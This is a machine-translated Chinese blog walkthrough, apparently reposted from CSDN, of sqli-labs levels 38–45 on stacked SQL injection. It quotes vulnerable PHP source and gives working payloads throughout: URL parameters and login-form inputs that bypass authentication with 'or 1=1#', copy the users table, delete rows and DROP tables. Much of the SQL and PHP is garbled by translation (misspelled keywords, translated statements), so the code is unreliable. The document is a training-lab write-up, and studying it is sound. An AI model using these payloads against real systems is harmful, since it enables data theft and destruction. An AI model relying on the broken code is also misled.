Sqli(sqli-labs)

Sqli 文章目录 堆叠注入堆叠注入的原理 Less_38Less_39Less_40Less_41Less_42Less_43Less_44Less_45 堆叠注入
sqli-labs 通关指南:Less 38 ~ 41

文章目录

堆栈注入原理堆栈注入

减_38减_39减_40减_41减_42减_43减_44减_45

堆叠注入

sqli-labs海关指南:少38~41

堆叠注入的原理

在SQL中,当多个SQL语句一起执行时,分号用于标记SQL语句的结束。

完成分号后,继续构建下一条语句,例如select*from users where id=1; create table test like users。

只需创建一个新表

例如,如果用户通过键入1;DELETE FROM products 来运行查询,则第一个字段将显示查询信息,第二个字段将删除整个表。

Less 38到41 虽然使用Less 1的方法注入成功,但这四个级别都存在堆栈注入漏洞。您可以使用“;”关闭第一个SQL 语句并运行后续SQL 语句。该漏洞允许对数据库执行任意操作。

Less_38

sqli-labs 海关指南:Less 38 ~ 41 – WhiteMoon

查看源代码:

$sql=\’SELECT * FROM users WHERE id=\’$id\’ LIMIT 0,1\’;

/* 执行多条查询*/

如果(mysqli_multi_query($con1, $sql))

{

/* 保存第一个结果集*/

if ($结果=mysqli_store_result($con1))

{

if($row=mysqli_fetch_row($结果))

{

echo \’字体大小=\’5\’颜色=\’#00FF00\’\’;

printf(\’您的用户名是: %s\’, $row[1]);

回声“br”;

printf(\’您的密码是: %s\’, $row[2]);

回声“br”;

回显\’/字体\’;

}

可以看到mysqli_multi_query()函数可以执行多个mysql语句。

旧的mysql_query()函数只能执行一条Mysql语句。

常用SQL命令

这个问题是关于单引号注入的

让我们尝试一下堆栈注入

?id=1\’;像用户一样创建Cyan表;–+,添加名为Cyan的新表

您可以看到多了一个名为Cyan 的表名称。

?id=1\’;INSRET INTO Cyan SELECT*FROM users;将用户表中的数据插入Cyan

?id=1\’;DELETE FROM Cyan;–+ 删除新建表中的数据

?id=1\’;DROP TABLE Cyan;–+ 删除新创建的表

Less_39

首先插入公共语句

?id=1\’

?id=1\’)

?id=1\’))

?id=1\’

?id=1\’)

?id=1\’))

发现全部报错

我有一个关于数字注入的问题。

?id=1 和1=1 是正常的。id=1 和1=2 是错误。

和上一个问题几乎一样

?id=1;创建表青色LIKE usres;

插入数据?id=1;INSERT INTO 青色SELECT*FROM user;

Less_40

输入?id=1\’ 会报告错误,但不会产生回显。

如果你尝试一下,你会发现这道题是单引号和括号的盲目注入。

?id=1;创建表青色LIKE 用户;–+

?id=1;插入青色选择*来自用户;–+

?id=1;从青色中删除;–+

?id=1;删除表青色;–+

同问题38

Less_41

尝试更多,这是数字盲注

如果我输入?id=1 和1=1,显示应该没问题。输入?id=1和1=2会报错。

?id=1;创建表青色LIKE 用户;–+

?id=1;插入青色选择*来自用户;–+

?id=1;从青色中删除;–+

?id=1;删除表青色;–+

Less_42

当我打开它时,这是一个登录框,有点类似于问题24中的二次注入框。

如果您首先使用通用密码插入,则所有登录都将失败。

1 或1=1#

a\’ 或1=1#

a\’) 或1=1#

a\’)) 或1=1#

a\’ 或1=1#

a\’) 或1=1#

a\’)) 或1=1#

将通用密码插入密码1\’或1=1#

登录成功,我注意到密码字段有单引号中的字符类型注入。

update更新数据后,mysql_real_escape_string()处理的数据保存到数据库后保持不变,只有在调用select时才起作用。因此,这一级和二阶注入的思想是不同的,因为更新密码时不必考虑注入。

登录查看源代码

$con1=mysqli_connect($host,$dbuser,$dbpass, $dbname);

$username=mysqli_real_escape_string($con1, $_POST[\’login_user\’]);

$password=$_POST[\’登录密码\’];

事实证明,密码不是由mysqli_real_escape_string 函数处理的,并且可以在登录时被利用。

mysqli_real_escape_string 转义SQL 中的特殊字符

转义字符包括NUL (ASCII 0)、\\n、\\r、\\、\’,\’ 和CTRL+Z。

在密码字段中输入1\’;drop table 青色;#。

这是之前的表名

这是命令执行后的表名。

其余命令与上面相同

Less_43

1\’或1=1#

1\’或1=1#,不报错误信息

1\’) or 1=1#,ok,登录成功。指示密码字段包含单引号和括号字符插入。

查看源代码:

$con1=mysqli_connect($host,$dbuser,$dbpass, $dbname);

$username=mysqli_real_escape_string($con1, $_POST[\’login_user\’]);

$password=$_POST[\’登录密码\’];

与上一个问题相同,1\’); 像用户一样创建表。

好的,我添加了

Less_44

1\’ or 1=1# 你瞧,我直接登录了,但密码中包含单引号。

查看页面源码:

$con1=mysqli_connect($host,$dbuser,$dbpass, $dbname);

$username=mysqli_real_escape_string($con1, $_POST[\’login_user\’]);

$password=$_POST[\’登录密码\’];

和上面同样的问题

1\’;插入用户的选择*;

我前面的桌子

插入数据后的me表

Less_45

1\’) or 1=1# 登录成功。密码字段包含单引号和括号字符插入

请输入您的密码

1\’);从我这里删除#

可以看到没有数据

1\’);删除表格#

是的,已删除

以上#Sqli相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93887.html

Like (0)
CSDN的头像CSDN
Previous 2024年7月26日
Next 2024年7月26日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注